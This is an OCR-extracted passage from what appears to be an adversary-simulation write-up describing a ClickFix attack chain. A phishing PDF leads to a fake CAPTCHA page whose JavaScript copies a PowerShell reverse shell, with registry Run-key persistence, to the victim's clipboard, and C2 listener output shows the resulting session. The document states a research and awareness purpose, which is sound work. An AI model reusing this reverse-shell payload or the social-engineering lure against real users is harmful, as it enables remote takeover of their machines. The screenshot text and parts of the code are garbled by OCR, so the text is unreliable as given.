are redirected to a fake device registration link that instructs them to run PowerShell as an administrator and
execute attacker-provided code.
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https://www.bleepingcomputer.com/news/security/dprk-hackers-dupe-targets-into-typing-powershell-commands-as-admin/
https://x.com/MsftSecIntel/status/1889407814604296490
https://www.bleepingcomputer.com/news/security/fake-google-meet-conference-errors-push-infostealing-malware/

( Google Chrome

Something went wrong while displaying this webpage.

There was an error during the latest update of browser version, facebook
causing some web pages to malfunction.

Welcome to Facebook! Here you ca @ " riends, connect, and bulld

4 d veont o

Follow these instructions to resolve the issue: , oozt
ven CTRL + V, and press Enter

on
Retry

terminal window.

e, then refresh the page

Verification
Steps
1. Pres Nindows

A A

Social Engineering: Create PDF file which will be sent spear-phishing.

ClickFix Technique: (Fake-Captcha) to make the target run PowerShell as an administrator and paste attacker-
provided code.

Reverse Shell: Make simple reverse shell (payload.ps1) to creates a TCP connection to a command and control
(C2) server and listens for commands to execute on the target machine.

The first stage (delivery technique)

First the attackers created PDF file includes a Hyperlink that leads to a (Fake-Captcha) page, The advantage of
the hyperlinkis that it does not appear in texts, and this is exactly what the attackers wanted to exploit.

The problem occurs every time | log in to the mail ser [9isle pail
affiliated with the company, and now | deal on m&z_?‘-_.n{
company's work email that was created recently; hitps 1
< | BE Results in Outlook.com - Mi | 8 500 - |ntemnal server em

e O ﬂ:ﬁ = hitpsfoutiook live.com;mail

Server Error

500 - Internal server error.

There is a problem with the resource you are looking for, and it cannot be displayead.
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The second stage (Fake-Captcha)

This file is a fake CAPTCHA verification page, designed as part of a phishing attack or malicious script execution.

Verify You Are Human

Please verify that you are a human to continue.

™ I'm not a robot

Verification

~shell and
Ctrl + Shift +
Enter fc n as
adminis
':'J

If you need know more about fake CAPTCHA :

https://www.bleepingcomputer.com/news/security/ malicious-ads-push-lumma-infostealer-via-fak e-captcha-pages/

Here’s what it does:
Fake Verification Interface

The page displaysa message prompting the user to verify that they are not a robot. The design mimics a legitimate
CAPTCHA verification page but is actually completely fake.

Social Engineering Trick

When the user clicks the checkbox ("I'm not a robot"), the verify() function in JavaScript is triggered. This function
displays a popup instructing the user to execute specific commands in PowerShell.

Execution of Malicious PowerShell Code

The script automatically copies a PowerShell command to the clipboard. If the user follows the instructions and
executes the code, it: Establishes a reverse shell connection to IP:PORT.
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L7 Copy the PowerShell command to clipboard

i const textToCopy = “while ($true) {
' try {
) $client = New-Object System.Net.Sockets.TCPClient('192.168.1.108"', 4444) ;
$stream = $Sclient.GetStream() ;
[byte[] 1$bytes = O..65535|%{0};
while (($i = S$stream.Read{$bytes, ©, $bytes.Length)) -ne 8} {
$data = (New-Object -TypeName System.Text.ASCITIEncoding) .GetString({(sbytes, 0, %$i):
P $sendback = (iex $data 2=&1 | Out-String ) ;
$sendback2 = $sendback + "PS ' + (pwd).Path + '=
$sendbyte = ([text.encodingl::ASCIT) .GetBytes($sendback2) ;
i $stream.Write($sendbyte, ©, $sendbyte.Length):;
) $stream. Flush ()
! ¥

sclient.Close() ;
} catch {

Start-Sleep -Seconds 5; # Wait before reconnecting
] I
P}
" # Persistence via Registry (Run Key)
i $regPath = "HKCU:\\SoftwarexwMicrosoftiy\\Windows\\Currentversionx\xRun"
' $regName = "PaylLoad"
'} $regvalue = "powershell -ExecutionPolicy Bypass -File $PSCommandPath"
. Set-ItemProperty -Path $regPath -Name SreglName -Value $regvValue’ ;

const tempTextArea = document.createElement("textarea") ;

tempTextArea.value textToCoDwv:

Allows the attacker to remotely execute commands on the victim’s machine. Persists by adding itself to the
Windows registry (Run Key), ensuring execution every time the system starts.

The third stage (Reverse shell by PowerShell)

The final result of this fake CAPTCHA attack is that the attacker gains remote access to the victim's machine
through a reverse shell connection. Once the victim unknowingly runs the copied PowerShell command, their
system establishes a connection to the attacker's server, allowing remote command execution.

This access enables the attacker to control the system, extract sensitive data, install additional malware, and
potentially spread within a network if the victim is part of a corporate environment. To ensure persistence, the
script modifiesthe Windows registry so that the maliciouscommandruns every time the system starts. Even after
a reboot, the attack remains active.

@mm - Apps  Places Feb 14 18:21 * © &62%

BEAR-C2 0 win [Running] - Oracle VM VirtualBox

g Beance 4B
Session ID | Operator £|Session si|Target Ho:| Check-in T||Target Os | Process ic| Architectu
f84a7d3ad-e4 192.168.1.1C 0:03:14  DESKTOP-8¢ 2025-02-14 WindowsNT 5080 X86

verly rtou Aren

Please verify that you are a huma

Verification
Steps

press Ctrl +
Shift + Enter t

[+] Server started on 192.168.1.10:4444 using Reverse TCP protocol with None
exfiltration profile...

No exfiltration profile selected.
[i] Listening for Reverse TCP connections on 192.168.1.10:4444...
[+] Reverse TCP connection from ('192.168.1.10', 47380), Session ID:
f847d3ad-e458-4f53-aab4-38b9b82283b5

[®]BEAR >> T @ veryvouneriom. B Windows Powershell 18 fun AmBw o 0

Page | 41



All of these attacks were simulated, and the tools and tactics were developed by

Abdulrahman Ali (S3N4TOR).
LinkedIn: /in/abdulrehman-a-4472a3243/
Github:/S3N4TOR-0X0

: This is for research, awareness, and educational purposes.Disclaimer | am not responsible if
anyone uses this technique forillegal purposes. All of this adversary simulation is powered by Bear-C2.

To be continued...
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